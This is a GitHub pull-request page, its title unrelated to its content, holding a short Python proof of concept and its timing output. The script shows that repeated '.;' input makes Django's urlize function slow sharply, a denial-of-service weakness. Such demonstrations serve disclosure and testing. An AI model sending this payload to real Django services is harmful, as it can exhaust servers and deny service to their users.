Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

SIMPLEXPAY-LINK #253

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open

Conversation

Nursesusie1504
Copy link

import django.utils.html
from time import time

print('=== django.utils.html.urlize(".;" * n) ===')
for i in range(0,1000000, 40000):
start = time()
PAYLOAD = ".;" * i
django.utils.html.urlize(PAYLOAD)
print(len(PAYLOAD), "\t", time() - start)

@Nursesusie1504
Copy link
Author

=== django.utils.html.urlize(".;" * n) ===
80000 0.517104148864746
160000 1.91546583175659
240000 4.26700210571289
320000 7.51475358009338
400000 11.7720293998718
480000 16.8458595275879
560000 23.1542763710022
640000 39.5922138690949
720000 45.6281299591064
800000 59.8330779075623
880000 74.544540643692
960000 90.4768784046173
1040000 106.528100728989

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

1 participant